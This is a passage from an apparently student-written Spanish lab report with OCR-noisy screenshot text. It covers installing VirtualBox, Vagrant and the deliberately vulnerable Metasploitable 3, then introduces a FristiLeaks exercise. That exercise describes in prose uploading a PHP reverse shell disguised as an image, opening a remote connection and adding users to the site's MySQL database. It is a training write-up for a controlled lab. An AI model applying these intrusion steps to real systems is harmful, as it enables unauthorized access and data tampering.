< C [ % googlecom/search?q=virtualbox&oq=virtualbox&gs_lcrp=EgZjaHvbWUyBggAEEUYOdIBCTE2M

Google X

Todo Iméagenes Shoppifig Videos  Videos cortos  Noticias Web  Mas -

1 Oracle VirtualBox
https:fiwwwevirtualbox.org - Traducir esta pagina  }

Oracle VirtualBox
VirtualBox is a general-purpose full virtualization software for x86_64 hardware (with version 7.1
additionally for macOS/Amm), targeted at laptop, desktop, ...

Downloads N
The VirtualBox Extension Pack is available for personal and

VirtualBox 6.1.x

>
Download VirtualBox (Old Builds): VirtualBox 6 1 [ - Oracle
Download_Old_Builds N
Download VirtualBox (Old Builds) §. VirtualBox 7.1 (active
Documentation 5
Licer Guide Read the community near auide for the current
27°C 1] B
_ Hocwr m=O2B98 0

Figura 77. Busqueda de la Pagina Para Descargar VirtualBox

Luego ingresamos a la pagina de encontraremos lo siguiente.


https://www.virtualbox.org/wiki/Downloads

&, Get Kali | Kali Linux o}, Descargas 15 Oracle Virtualgox x o+ = a X
¢ > C [ % vitualboxorg w2l A DR LEGRO =

18 VirtualBox Home Download Documentation  Community ®

Powerful open source
virtualization
For personal and enterprise use Get Started

VirtualBox is a general-purpose full virtualization

software for x86_64 hardware (with version 7.1 P e e e R
additionally for macOS/Arm), targeted at laptop, packages
desktop, server and embedded use.

Community Documentation Training

Learn from a variety of resources including
user manuals, end-user and technical
documentation, the source code repository
timeline, or the changelog.

'Q:;.ycmm nublado == Qouscar Iy -, o ﬁ ‘ ﬂ 9 N @‘\;

Become a part of the VirtualBox
community. Discuss and solve problems in
the forums, access test builds, and more.

Access labs, tutorials, and videos to learn
how to use VirtualBox. Quizzes are
available to test your learning.

11023 m.

Esp
A G T 0 B

Figura 78. Pagina Oficial de VirtualBox Para Descargarlo

Estando aqui elegimos el boton azul y fuimos a otra ventana.

< C [J] % virtualbox.org/wiki/Downloads W2 P A DE LI E =

15 VirtualBox Home Download  Documentation  Community ()

/L

VirtualBox Platform Packages VirtualBox Extension Pack
VirtualBox 7.1.12 Extension Pack

VirtualBox 7.1.12 platform packages

% Windows hosts This VirtualBex Extension Pack PersonaI_Use and Edumti_onal License
governs your access to and use of the VirtualBox Extension Pack. It does

not apply to the VirtualBox base package and/or its source code, which

macOs / Intel hosts

Bl macos / Apple Silicon hosts are licensed under version 3 of the GNU General Public License “"GPL").

[ Linux distributions

KY Solaris hosts See our FAQ for answers to common questions.

Kl solaris 11 IPS hosts - a q n
VirtualBox Extension Pack Personal Use and Educational License .

foEn
\ Platform packages are released under the terms of the GPL version 3 PUELFIR'(SE"SE PUELT::;EHSE Accept and download

A AN AN AN N

Figura 79. Seleccion Del Sistema en el Que se Usara VirtualBox

En esta ventana, seleccionamos Windows porque es el sistema operativo de nuestro pc.
Luego comenzara nuestra descarga. En algunos navegadores tendremos que elegir la carpeta en
donde nuestro archivo se guardara, en otro la descarga se guarda automaticamente en la carpeta
de descarga, en mi caso elegi la carpeta en donde se guardé mi ISO y ahi guarde el archivo de

descarga de VirtualBox.



wnl  Historial de descargas recientes @

[m| VirtualBox-7.1.12-169651-Win.exe
119 MB » Hecho

Figura 80. Descarga de VirtualBox terminada

La imagen anterior muestra nuestra descarga terminada.

4.6.2 Instalacion de VirtualBox
Para descargar VirtualBox el proceso es practicamente el mismo paso que en VMware,

primero buscamos el setup.

"M Oracle VirtualBox 7.1.12 Setup X

Welcome to the Oracle
VirtualBox 7.1.12 Setup
Wizard

The Setup Wizard wil allow you to repair your current
installation or remove Oradle VirtualBox 7.1.12 from your
computer. Click Next to continue or Cancel to exit the Setup
Wizard.

Version 7.1.12 Back Cancel

Figura 81. Abrimos el Setup

Luego de ingresar a esta seccion le damos en next para ir a la siguiente pagina.

Al il
¢ "M Oracle VirtualBox 7.1.12 Setup X

Modify, Repair or Remove installation
Select the operation you wish to perform.

Repair
Repairs errors in the most recent installation state - fixes
missing or corrupt files, shortcuts and registry entries.

Remove
E Remaves Oradle VirtualBox 7, 1. 12 from your complter,

Version 7.1.12 < Back Next > Cancel

Figura 82. Seleccionamos Nuestra Opcion



Para mi caso, me salen estas opciones porque ya tengo el VirtualBox instalado, pero

elegiré la opcion de reparar para seguir descargando la aplicacion.

| ™ Oracle VirtualBox 7.1.12 Setup

Oracle VirtualBox 7.1.12 Setup
Wizard ended prematurely

Please reboot and try again by re-running the

n (um)installation.
Alternatively, consult the forums or the documentation of
Oracle VirtualBox 7.1.12.

Open Log File

The log file was written to:
C:\sers\LOCOMPU\AppData Local\Temp\WMSIf10b.LOG

Finish | Cancel

4

Figura 83. Ventana Final

Si no tiene el VirtualBox descargado simplemente le das siguiente a todas las opciones y

ya estariamos asi.
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IP DHCP Papelera de WhatsApp Web prueba python trabajos
EXCLUDED-AD reciclaje generales
DRESS 130.1.1.1

P # BE W B =
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Workstation Pro
7 /
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X
TALLER psiphon3 Cisco Packet  proyectos en trabajos
PRACTICO Tracer grupo

apuntesredes
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parcial 3 AnyDesk Netflix practica canciones  metodologiasl

cristianas
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metodologia | Metodologia 2, 9 sefmestre

Steam Zotero Oracle
VirtualBox borrador
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carpetas Plantillas de lenovo
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Microsoft Edge  Avast Free analisis
Antivirus
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putty imobie DroidKit camilo img
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Figura 84. VirtualBox Desde el Escritorio



Aqui podemos ver el software VirtualBox en nuestro escritorio luego de hacer la

instalacion pertinente.

Segun (Oracle, 2024) “VirtualBox es un software de virtualizacion completo de proposito
general para hardware x86 64 (con la version 7.1 adicionalmente para macOS/Arm), dirigido a

computadoras portdtiles, computadoras de escritorio, servidores y uso integrado.”

4.6.2.1 Caracteristicas de VirtualBox

Segun Oracle las principales caracteristicas de VirtualBox son:

e Soporte para sistemas operativos invitados como Debian, Ubuntu, Kali Linux,
Windows, entre otros.

e Configuracion flexible de recursos (memoria, CPU, almacenamiento).

e Compatibilidad con imagenes ISO, instantaneas del sistema, carpetas

compartidas, USB y red virtual.

Comunidad activa y documentacion abundante

VirtualBox se destaca por ser gratuito, multiplataforma y facil de usar, lo que lo convierte
en una herramienta educativa ideal para practicas de sistemas operativos, redes y seguridad

informatica (Oracle, 2024).



4.7. Paso 2: Descargamos Vagrant
Para descargar Vagrant lo primero que hacemos es ingresar al siguiente enlace o en su
efecto buscamos la pagina oficial en nuestro navegador

https://developer.hashicorp.com/vagrant/install#windows lo que nos abrira la siguiente pagina.

C [ % developerhashicorp.compvagrant/install#windows 72l PA OB ABEGE=

rrlJ v \f vagrant Install Intro  Tutorials Documentation  VagrantCloud  Try Cloud (3 ‘ Q_ Search m ‘ o v

a

Windows —

Binary download

< Vagrant Home

WV Install Vagrant

AMD&4 1686
Download & Download oy

Operating Systems Version: 2.4.9 Version: 24.9

macOS
Windows
Linux

Linux

Package manager

Release information ‘ Ubuntu/Debian CentOS/RHEL Fedora 40 Fedora 41 Amazon Linux Homebrew

Resources

update vagrant

Tutorial Library

Figura 85.Vista de la Pdagina de Vagrant

Luego de estar en la seccion que se mostro anteriormente elegiremos el sistema en donde
descargaremos este software (flecha negra) y luego se descargara segun el procesador de nuestro
pc que puede ser Intel (cuatro verdes) o AMD (cuatro azules) en mi caso tengo un procesador

AMD por lo es obvio saber mi eleccion.

Historial de descargas recientes X

=g vagrant_2.4.9 windows_amd64.msi
a 12047236 MB - Quedan & segundos

&

Historial de descargas completo

Figura 86. Descarga de Vargrant


https://developer.hashicorp.com/vagrant/install#windows

La figura 6 (Ver figura 6) muestra como se estd descarando nuestra aplicacion

L& =]

Advertencia de seguridad de Abrir archivo X

:iDesea ejecutar este archivo?

j Mombre: . OMPUNDownloads'wagrant_2.4.9 windows_amd&d.msi
-

Editor: HashiCorp, Inc.
Tipo: Paquete de Windows Installer

De: ChUsers\LOCOMPLUNDownloads\wagrant_2.4.9 windo...

B Preguntar siempre antes de abrir este archivo

Aunque los archivos procedentes de Internet pueden ser Utiles, este
tipo de archive puede llegar a dafiar el equipo. Solo gjecute software de
los editores en los que confia. ;Cual es el riesgo?

Figura 87. Ejecutamos el Setup Descargado

Luego de que se termine de descargar el setup que descargamos o lo ejecutamos para

empezar la instalacion de este software.

| "™ Vagrant Setup = X

Welcome to the Vagrant Setup Wizard

FPlease wait while the Setup Wizard prepares to guide you
through the installation.

Computing space requirements

|

T 1 =T T

Figura 88. Esperamos a Que se Prepare la Guia de Instalacion



Aqui debemos esperar que se nos indique como debemos proceder para descargar este

software.

"8 vagrant Setup = X

Please read the Vagrant License Agreement

License text copyright (c) 20820
MariaDB Corporation Ab, All Rights
Reserved. "Business Source
License™ is a trademark of MariaDB
Corporation Ab.

Parameters

+ Llicensor: HashiCorp, Inc.
¢ Llicensed Work: Vagrant 2.4.3

or later. The Licensed Work
e {r) IAIE Hachifarm Thr

B 1 accept the terms in the License Agreement

Print Back iy Install Cancel

Figura 89. Seguimos la guia de Instalacion para Vagrant

A continuacion, se sigue la guia de instalacidon para Vagrant, esto puede tardar algunos

minutos. Aqui le damos aceptamos los términos y condiciones (Recomiendo siempre leer estos
términos) y le damos instalar

r"-! Vagrant Setup

Installing Vagrant v

Please wait while the Setup Wizard installs Vagrant.

Status:

Figura 90. Esperamos Que Termine la Instalacion

Aqui ya nos queda esperar que termine la instalacion sin dejar de estar pendientes a

cualquier permiso que se nos solicite.



"8 Vagrant Setup — X

Completed the Vagrant Setup Wizard

Click the Finish button to exit the Setup Wizard.

Back Cancel

Figura 91. Finaliza la instalacion de Vagrant

Luego de que finalice esta instalacion y le demos en el boton finish se nos reiniciara el pc

y todo quedara listo.

vagrant_2.4.9_windows_amd6
| 2 4ms :
. .msi

Aplicacion
vagrant_2.4.9_windows_amd64.msi
Buscar en Internet Aplicacion

vagr - Ver ms resultados de la

busqueda 2 Abrir
Q, vagrant > 5  Abrir ubicacion de archivo
#  Compartir
| Vagrant Story > e -
@ Desinstalar
Q. vagrant cloud >

Figura 92. Vagrant Instalado

En esta imagen se muestra como a app ya esté instalada en nuestro pc y procedemos a

realizar el siguiente paso.



4.8. Paso 3: Descargamos el repositorio para Metasploitable 3
Para el 3 paso lo que hacemos es ir al enlace del repositorio de GitHub de donde

descargaremos Metasploitable 3. El enlace del que lo bajaremos se presenta a continuacion.

https://github.com/rapid7/metasploitable3

C 0 % githubcomra

CaRBEBe @A OB ABGS

apid7 / metasploitable3 rui

©Code ©msues s 1 Puliequests @ [ Projects (D wiki @ Searlty b lnsighs

P master - P 9Bmnches © 0Tags Q ot © code - T

Metasploitable3 is a VM that is built from
@ vimoniruin.17 PO-45065 set Conex ags the ground 1 with a g amount of

- githue

- chel

Figura 93. Vista Del Repositorio

De este repositorio lo que realmente necesitamos son los comando que encontraremos

aqui, para visualizar esos comandos bajamos un poco y luego realizamos lo que se explicara a

continuacion.

Linux users:

mkdir metasploitable3-workspace LIT—'

cd metasploitable3-workspace

curl -0 https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile && vagran
4 —— >
Windows users:

mkdir metasploitable3-workspace LD

cd metasploitable3-workspace

Invoke-WebRequest -Uri “https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagra
vagrant up

Or clone this repository and build your own box.

Figura 94. Comandos Necesarios Para Descargar Metasplo


https://github.com/rapid7/metasploitable3

Como vamos a utilizar algunos comados que se muestran aqui necesitamos abrir una

consola de comandos o cmd

D O (178) jinstala Metasploitable 3. % ()

Q (m‘

& @ Aplicaciones Documentos Web Configuracior  p Y o e H

Mejor coincidencia

| ﬁ Simbolo del sistema -
Sistema

Aplicaciones Simbolo del sistema
Sistema
5] Cémara >
BN Command Prompt for vctl > O Abrir
Developer Command ® Ejecutar como administrador

A
Prompt forvs 2019 [ Abrir ubicacién de archivo

Buscar en Internet £» Anclar a Inicio

52 Anclar a la barra de tareas
€M - Ver mas resultados de la
Q . b

Figura 95. Se Abre el Cmd

Para abril el cmd o la consola de simbolos del sistema lo primero que hacemos es ir al
menu de aplicaciones de Windows y escribir Cmd o simbolos del sistema. Otra opcion seria

utilizar el comando Windows R y en el ejecutar escribimos cmd, para mi caso lo abri desde el

menu por que necesitaba ejecutarlo como administrador.

Figura 96. Cmd Abierto

Si ya estamos adentro de la consola cmd, lo siguiente serd ejecutar el comando cd..
comando utilizado para salirnos de la carpeta system32 hacemos esto hasta que lleguemos a la

carpeta raiz C:/




ersidn 10.8.26108.5
on. Todos los de hos reservados.

Figura 97. Llegamos a la Carpeta Raiz Usando CD..

Cuando estemos en la carpeta raiz, ingresamos el comando mkdir metasploitable3-
workspace este comando nos permite crear una carpeta de nombre: metasploitable3-

workspace, en nuestra carpera raiz

metasploitable3-workspace

Figura 98. Comandos Mkdir Insertado

Si observan ya ingresamos el comando, las siguientes 2 imagenes que se muestran a

continuacion muestran como fue el antes y después de la creacion de la carpeta
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[J > Esteequipe > Disco local (C)

Tl Ordenar

AND

Archivos de programa
Archivos de programa (x88)
CCP

ESD

inetpuly

Log

PerfLogs

Proyecto de practicas de Daver
samFwTool
Usuarios
Windows
xampp
=| DumpStack

| logUploadersettings

Figura 99. Antes del MKDIR

[J > Esteequipo > Discolocal (C)

T Ordenar

AMD

Archivos de programa
Archivos de programa (x86)
ccp

ESD

inetpub

Log

metasploitable3-workspace

Perflogs
Proyecto de practicas de Daver
SamFwTool
Usuarios
Windows
xampp
=| DumpStack

12| logUploaderSettings

Figura 100. Después del MKDIR

Aqui podemos ver como luego de usar el comando dado anteriormente se crea una

carpeta llamada metasploitable3-workspace, en nuestra carpera raiz

Figura 101. Ingresamos a la Carpeta Usando el Comando CD junto al Nombre de la Carpeta



Después ingresamos el comando ¢d metasploitable3-workspace ( fecha azul) esto lo
hacemos para verificar que efectivamente si se haya creado la carpeta con ese nombre, luego de
esto lo que haremos es abrir una seccion en la consola de PowerShell

Q powl

& @ Aplicaciones Documentos Web Configuracior  p Y e -~

Mejor coincidencia

PowerPoint
| % Aplicacion m

Aplicaciones PowerPoint
Aplicacion
£¥ Windows PowerShell >
X Windows PowerShell (x86) > 0 Abir
g Windows PowerShell ISE > v
Tienda Recientes
| Power Bl Desktap N @ salud-Higiene-y-Nutricion-en-la-Gestacio..

0 plesentac\on VIl 2 vers 3 correccion - en
A Microsoft PowerToys >
presentacion VIII 2 vers 4
Grabar Pantalla Grabador
Pantalla Captura de pantalla

presentacion vers 1

u

eee

PRESENTACION KEVIN

| § Carpetas

Figura 102. Abrimos la Consola de PowerShell

Para abrir la consola mencionada anteriormente volvemos a abrir el ment de aplicaciones
de Windows y buscamos PowerShell, luego la ejecutamos como administrador y nos saldré esta

ventana.

indows

Figura 103. Consola de PowerShell

Luego de que entremos a nuestra consola debemos regresar a la la raiz como hicimos en

el cmd, esto lo hacemos usando el comando cd..



ine
Importing b

Figura 104. Aplicamos Los Comandos Para Descargar Metasp

Aqui luego de volver a la carpeta raiz con el comando ed.. (flechas azules) ingresamos a
la carpeta de nombre metasploitable3-workspace (flecha naranja) cuando ingresemos aqui lo

siguiente sera escribir el comando:

Invoke-

WebRequestUri' https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagran

tfile" -OutFile "Vagrantfile"

Por ultimo, ingresamos el comando vagrant up ( flecha verde) este comando es

importante por que permite inicializar la descarga de metasploitable.

e a few minutes...

ue to work properly,

Figura 105. Se visibiliza la Descarga



Después de terminar la descarga nos saldran 2 maquinas virtuales, una de Ubuntu y otra

de Windows, estas maquinas nos permitiran hacer nuestras practicas aqui.

15 Oracle virtualBox Administrador

Archivo Maquina Ayuda

Il g—

5{3!-? Parrot OS 6.4 MATE Security Edition
' N0 Apagada
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Figura 106. se Visualizan las Maquinas en VirtualBox

Ya llegado a este punto podemos ver como nuestras maquinas virtuales estan en virtual

box. Los datos de ingreso usuario y contrasefia de nuestras maquinas virtuales son:

Usuario: vagrant

Contraseiia: vagrant



Verificacion de la Instalacion.

Probamos que lo hecho funcione arrancando las maquinas.

B :ﬂ@l@@rnmnsgscm J

Figura 107. Arrancamos la Maquina Virtual de Windows Server 2008.

Para probar que lo hecho si funciona arrancamos las dos maquinas, en este caso se

arranca la maquina de Windows server 2008.

Metasploitable3-ub1404 [Corriendo] - Oracle VirtualBox — O x

Archivo Maquina Ver Entrada Dispositivos Ayuda

Ubuntu 14.04 LTS metasploitable3-ubl404 ttyl

metasploitable3d-ub1404 login: vagrant b
Password:

Login incorrect

metasploitable3—ub1404 login: vagrant

Password:

Welcome to Ubuntu 14.04 LTS (GNU-/Linux 3.13.0-Z24-generic x86_64)

# Documentation: https:-s-help.ubuntu.con~
New release '16.04.7 LTS’ available.
Run 'do-release-upgrade’ to upgrade to it.

vagrant@netasploitable3-ub1494:75 _

Figura 108. Arranque de Ubuntu

Aqui luego arrancamos la maquina virtual de Ubuntu en este caso si iniciamos seccion

en Ubuntu servidor. Asi termina manual.



4.9. Conclusion
La correcta descarga e instalacion de Metasploit 3 constituye el primer paso para el
desarrollo de practicas en seguridad informatica dentro de un entorno controlado y académico. A
través de este manual ofrecemos una guia clara y estructurada que facilita al estudiante la
preparacion de su equipo de trabajo, garantizando que cuente con todos los elementos necesarios

para ejecutar la herramienta de forma adecuada.

El proceso descrito permite comprender la importancia de seguir una metodologia
ordenada, desde la verificacion de los requisitos previos hasta la comprobacion final de la

instalacion, evitando errores comunes que suelen dificultar el aprendizaje inicial.

De esta manera, el manual no solo asegura que Metasploit quede operativo, sino que
también promueve el uso responsable y ético de la herramienta, resaltando que su aplicacion
debe limitarse a contextos académicos y de investigacion, siempre con el fin de fortalecer las

competencias técnicas en auditoria y pruebas de penetracion.

En conclusion, el documento cumple con el proposito de servir como apoyo practico para
quienes inician en el estudio de la ciberseguridad ofensiva, brindando un punto de partida sélido

para posteriores ejercicios de exploracion y explotacion en entornos virtualizados.



5. Capitulo 5. Vulneracion Etica de una pagina web alojada en FristiLeaks desde Kali
Linux
5.1. Introduccion
En este capitulo se recoge de forma organizada el paso a paso la practica realizada

dentro del laboratorio de auditoria de redes, donde el reto principal fue trabajar con la maquina
vulnerable FristiLeaks y aplicar diferentes técnicas de hacking ético. Todo el proceso se llevo a
cabo en un entorno controlado de maquinas virtuales, utilizando VirtualBox para simular tanto la
maquina victima como la maquina atacante. De esta manera, se pudo experimentar de manera

segura con configuraciones de red, pruebas de vulnerabilidad y explotacion de servicios.

La primera parte de la préctica consistio en configurar la red con NAT y modificar la
direccion MAC de Edubuntu, con el fin de garantizar que la maquina trabajara inicamente con
una direccion fija y que la conectividad quedara bajo control. Este paso inicial fue importante
porque sirvié de base para que después todo funcionara correctamente entre las maquinas

virtuales y se pudiera realizar la conexion hacia el servidor victima.

Posteriormente se hizo un reconocimiento de la red empleando herramientas como Nmap,
que permitieron descubrir los servicios activos y versiones en ejecucion dentro del segmento
configurado. A partir de ahi se localizaron puertos abiertos y se identifico el servidor web
vulnerable. Con ayuda de Dirb, se exploraron directorios ocultos y se detectaron rutas que mas

adelante servirian como puerta de entrada.

La parte mas interesante vino cuando se trabajo con la subida de archivos maliciosos. Se
prepard un archivo de tipo reverse shell en PHP, disfrazado con extension de imagen, para

aprovechar la vulnerabilidad en el sistema de carga del sitio. Al lograr subir y ejecutar este



archivo, se establecio una conexion inversa que dio acceso remoto al servidor FristiLeaks,

abriendo asi la posibilidad de navegar por sus directorios y explorar archivos sensibles.

Finalmente, se consiguio ingresar a la base de datos MySQL del sistema, utilizando
credenciales descubiertas en el proceso. Una vez dentro, se identificé la base de datos de la
aplicacion web y se manipul6 la tabla members, insertando nuevos usuarios de prueba. Para
verificar el éxito del procedimiento, se probaron las cuentas creadas en el portal de FristiLeaks y
efectivamente funcionaron, confirmando que se habia logrado el objetivo de comprometer el

sistema y tomar control sobre los registros de usuario.



5.2. Alcance

El informe abarca un periodo de trabajo de 4 dias, comprendido entre el jueves 4 de
agosto de 2025 y el martes 9 de agosto de 2025, fecha en la cual se dio por concluido el proceso
de practicas. Durante este tiempo se llevo a cabo la configuracion inicial de las maquinas
virtuales en VirtualBox, se realizaron las pruebas de conectividad y escaneo de servicios, y se
desarrollaron ejercicios de explotacion controlada sobre la maquina vulnerable FristiLeaks.
Ademas, se recopilaron evidencias en forma de capturas de pantalla, salidas de comandos y
fragmentos de configuraciones, con el objetivo de documentar de manera clara cada paso del
procedimiento. Ademas de esto, toda la informacion obtenida fue organizada en este informe,
con el propodsito de dejar constancia del trabajo realizado y servir como material de consulta y

estudio en futuras evaluaciones académicas.



5.3. Objetivos
5.3.1 General
. aplicar técnicas de auditoria de seguridad en entornos virtualizados mediante la
configuracion de red, el uso de comandos en Kali Linux y la explotacion controlada de
vulnerabilidades en la plataforma FristiLeaks, con el fin de comprender los riesgos asociados y

comprobar métodos de acceso y manipulacion de datos en sistemas vulnerables.

5.3.2 Especificos

e Configurar la red en entornos virtualizados (VirtualBox con NAT) y asignar direcciones
MAC fijas, garantizando conectividad controlada entre la maquina atacante y la maquina
victima.

e Identificar y escanear servicios activos en la red con Nmap, reconociendo puertos
abiertos y posibles puntos de acceso en el servidor vulnerable.

e Subir y ejecutar una reverse shell en PHP disfrazada como archivo de imagen,
estableciendo comunicacion remota con el sistema victima.

e Acceder al sistema de gestion de bases de datos MySQL y manipular la informacion en la

tabla members, logrando crear usuarios validos y comprobar su acceso al portal web.



5.4. Planteamiento Del Problema

En la actualidad, los sistemas informaticos y las aplicaciones web se enfrentan
constantemente a intentos de intrusion que buscan aprovechar fallos de seguridad para acceder
de manera no autorizada a informacion sensible. Muchas organizaciones, por desconocimiento o
descuido, mantienen servidores y aplicaciones con vulnerabilidades que pueden ser explotadas
facilmente mediante técnicas conocidas y al alcance de cualquier atacante con conocimientos
basicos.

Uno de los principales retos en el &mbito de la seguridad informatica es la falta de
experiencia practica de los estudiantes y profesionales en el manejo de herramientas de auditoria,
pruebas de penetracion y explotacion de vulnerabilidades. Si bien existen teorias y marcos
conceptuales que explican los riesgos, solo mediante la experimentacion en entornos controlados
es posible comprender realmente como operan los ataques, cuales son las fases que los

componen y qué consecuencias pueden tener.

El problema radica en que, sin un acercamiento practico, los futuros profesionales de la
informatica carecen de la capacidad de identificar, prevenir y mitigar riesgos reales en sistemas
expuestos a internet. De alli surge la necesidad de desarrollar practicas con maquinas vulnerables

como FristiLeaks, que permiten simular de manera ética y segura escenarios de intrusion.

En este contexto, el presente trabajo busca dar respuesta a la siguiente pregunta central:
(Como aplicar herramientas y técnicas de auditoria informatica en un entorno virtualizado
controlado, para comprender el proceso de explotacion de vulnerabilidades en aplicaciones web

y bases de datos?



5.5. Subcapitulo 1: Cambio y Asignacion de Direccion MAC en Edubuntu Para la
Virtualizacion con NAT
Para poder realizar el cambio y asignacion de mi direccidon mac y que solo entregue una
ip dhcp o desde una red NAT lo primero que hacemos es ingresar nuestro virtualbox de la

siguiente manera.
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Figura 109. Visualizacion Virtualbox

Estand en este apartado, seleccionamos nuestra maquina (en este caso sera Edubuntu ) en
la que queremos hacer esto, pero en vez de arrancarla como normalmente hacemos, lo que

realizaremos es ir la configuracion (Flecha Azul)

{5 EDUBUNTU - Settings - D X
Ny - Search setings 0
General
= .
o asico  Avanzado  Deseripcion  Cifrado de disco
Nombre: EDUBUNTU
[ Pantalla
Tipo: | Linux -
Almacenamiento
Subtype: Ubuntu v
('DJ Audio Version: Ubuntu (54-bit) v
(@ Red
{3 Puertos serie
Sistema
§ uss Placa base  Procesador  Aceleracion
|:| Carpetas compartidas Memoria base: | ] 5084 MB =
[T] interfaz de usuario 4MB 14336 M8
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Figura 110. Visualizacion de la Configuracion de Edubuntu



Lo siguiente que se debe hacer es ingresar al apartado de red, como se muestra en la
imagen anterior, estando alli lo primero que hacemos es cambiar direccion Mac 080027FDDAS2

(rectangulo negro ) que este caso seria la que tiene por defecto esta maquina.

{5) EDUBUNTU - Settings — O X
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Figura 111. Mac por defecto de la Maquina.

Lugo lo que hacemos es cambiar esa Mac por defecto, por otra Mac fija de nuestra
preferencia. La nueva Mac que se asigno fue 08:00:27:AA:BB:CC (rectangulo negro) al
configura esta Mac de forma fisica, Lo que se hace es evitar que el usuario pueda cambiar la Mac

de forma manual desde edubuntu y si llega a hacerlo no podra navegar en internet.
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Figura 112. Establecimiento de Una Nueva Mac fija
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Cuando luego de darle clic en aceptar iniciamos nuestra maquina nuestra maquina,

esto le damos clic en iniciar ( flecha naranjada)

VM Victor manuel
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(& @ Ei 8@ ® cTr DERECHA

Figura 113. Iniciamos Nuestra Maquina Virtual En Edubuntu

para



Al iniciar nuestra maquina virtual previamente configurada en VirtualBox , para

loguearnos utilizamos la contrasena Victor123.
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Figura 114. Hacemos la Prueba Con la Mac Que Agregamos

Para probar que la configuracion hecha funciona vamos a nuestro navegador dentro de
nuestra maquina virtual y buscamos una pagina cualquiera en este caso busqué YouTube, Otra
opcion de verificar que nuestra maquina esta funcionando o la configuracion esté funcionando es
abrir la consola de nuestra distribucion y mandar un pin A Google con el comando ping 8. 8. 8. 8

con esto debera salir lo siguiente.

victormanuel@victormanuel: ~/Desktop

3 $ ping 8.8.8.8
56(84) bytes of data.
: icmp_seq=1 ttl=113 time=23.1

PING 8.8.8.8 (
4 bytes from
4 bytes from
4 bytes from
4 bytes from
4 bytes from

o oo o0 o0 oo
-03 -03 -03 -03 -Qﬁ -Qﬁ
:ﬁj :ﬁj :’3 -03 -03 -03
0 mmo oo

1
.6
2.4
5

1

: icmp_seq=5 ttl=113 time=23.1

[1]+ Stopped ping 8.8.8.8




Lo que hicimos aqui fue probar el ping y como Como era evidente nos da pin de forma
correcta lo que haremos a continuacion sera cambiar la Mac de forma manual desde la consola
de edubuntu, esto nos permitira ver si al cambiarla podemos navegar a internet comun y corriente
de poderse hacer quiere decir que nuestra configuracion no fue correcta y la Mac permanente que

pusimos no esta funcionando.

5.5.1 Prueba de Que la Configuracion Hecha Funciona Correctamente.

Para confirmar que el cambio de direccion MAC en Edubuntu si funciono, y se nos
permite navegar con la Mac fija se logra cambiando la mac desde Ubuntu. Lo primro que se
hizo fue ingresar al modo super usuario, luego apagar la interfaz de red usando el comando sudo
ip link set dev enp0s3 down, luego asignamos una nueva direccion fisica con el comando sudo
ip link set dev enp0s3 address 00:11:22:33:44:55 por tltimo reactivamos la interfaz con el
comando ip link set dev up . En Edubuntu sobre VirtualBox, al modificar la MAC manualmente
y no coincidir con la configurada en el hipervisor, la conexion NAT se interrumpe, impidiendo el
acceso a internet.

root@victormanuel: /homefvictormanuel/Desktop

: $ sudo su
root@victormanuel: /home/victormanuel/Desktop# sudo ip link set dev enp®@s3 down
root@victormanuel: /home/victormanuel/Desktop# sudo ip link set dev enp@s3 addres
s 00:11:22:33:44:55
root@victormanuel: /home/victormanuel/Desktop# sudo ip lnk set dev enp@s3 un
Object "lnk" is unknown, try "ip help".
root@victormanuel: /home/victormanuel/Desktop# sudo ip lnk set dev enp@s3 up

Object "lnk" is unknown, try "ip help".
root@victormanuel: /home/victormanuel/Desktop# sudo ip link set dev enp@s3 up

root@victormanuel: /home/victormanuel/Desktop# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

From 192.1.1.14 icmp_seq=1 Destination Host Unreachable
From 192.1.1.14 icmp_seq=2 Destination Host Unreachable
From 192.1.1.14 icmp_seq=3 Destination Host Unreachable

Figura 115. Comandos Realizados en la Prueba en su Respectivo Orden



Después de ingresar los comandos, volvemos a darle ping a Google, pero si notamos bien

no se nos permitio salir a internet ya que no se reconoce esa direccion que estamos utilizando.

Luego de la prueba, se realiz6 el cambio de la Mac por la que configuramos previamente
como Mac fija, por lo que no explicar de nuevo ese paso a paso por que s lo mismo que explique

anteriormente.

[+l  root@victormanuel: fhome/victormanuel/...

root@victormanuel: /home/victormanuel /Desktop# sudo ip link
sroot@victormanuel: /home/victormanuel/Desktop# sudo ip link
set dev enpOs3 address 08:00:27:AA:BB:CC
root@victormanuel: /home/victormanuel/Desktop# sudo ip link
set dev enp0s3 up

root@victormanuel: /home/victormanuel /Desktop#
root@victormanuel:/home/victormanuel/Desktop#
root@victormanuel: /home/victormanuel/Desktop# ping.8.8.8.8
ping.8.8.8.8: command not found

root@victormanuel: /home/victormanuel/Desktop# ping.8.8.8.8
ping.8.8.8.8: command not found

root@victormanuel: /home/victormanuel/Desktop# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

- from 8.8.8.8: icmp_seg=1 ttl=113 time=23.

W

from 8.8.8.8: icmp _seqg=2 ttl=113 time=23.
from 8.8.8.8: icmp_seqg=3 ttl=113 time=68.
from 8.8.8.8: icmp_seqg=4 ttl=113 time=25.
from 8.8.8.8: icmp seg=5 ttl=113 time=22.
from 8.8.8.8: icmp_seg=6 ttl=113 time=22.
from 8.8.8.8: icmp_seqg=7 ttl=113 time=22.

bt B o= WM

ping 8.8.8.8
root@victormanuel: /home/victormanuel/Desktop# I

Figura 116. Cambio de la Mac incorrecta Por la Correcta

Al cambiar los datos y dar ping de nuevo a Google Google se evidenciara que todo

funciona de forma correcta.



5.6. Subcapitulo 2: Comandos en Linux Para Calcular la Cantidad de Caracteres en un
Archivo
Segin (IONOS, 2023a) El comando de Linux we es aquel que nos permite conocer la
cantidad de lineas, palabras y caracteres contenidos en un archivo. Ademas, puede aplicarse a
varios documentos de forma simultanea, mostrando los resultados individuales y el total

acumulado.

5.6.1 ;Como funciona el comando wc?

(IONOS, 2023b) piensa que el comando we en Linux funciona de manera sencilla. Por
defecto muestra en la terminal el nimero de lineas, palabras y caracteres de un archivo, aunque
también es posible especificar opciones para ver solo un parametro. Asimismo, puede aplicarse a
varios ficheros a la vez, entregando los resultados individuales de cada uno y la suma total de
lineas, palabras y caracteres. Pero a su vez (IBM, 2023) nos dique que El comando wc se utiliza
para contar el nimero de lineas, palabras y bytes en los archivos indicados mediante el parametro

archivo.

Si no se especifica un archivo, el comando toma como entrada la entrada estandar. Los
resultados se muestran en la salida estandar, junto con un recuento total cuando se trabajan con
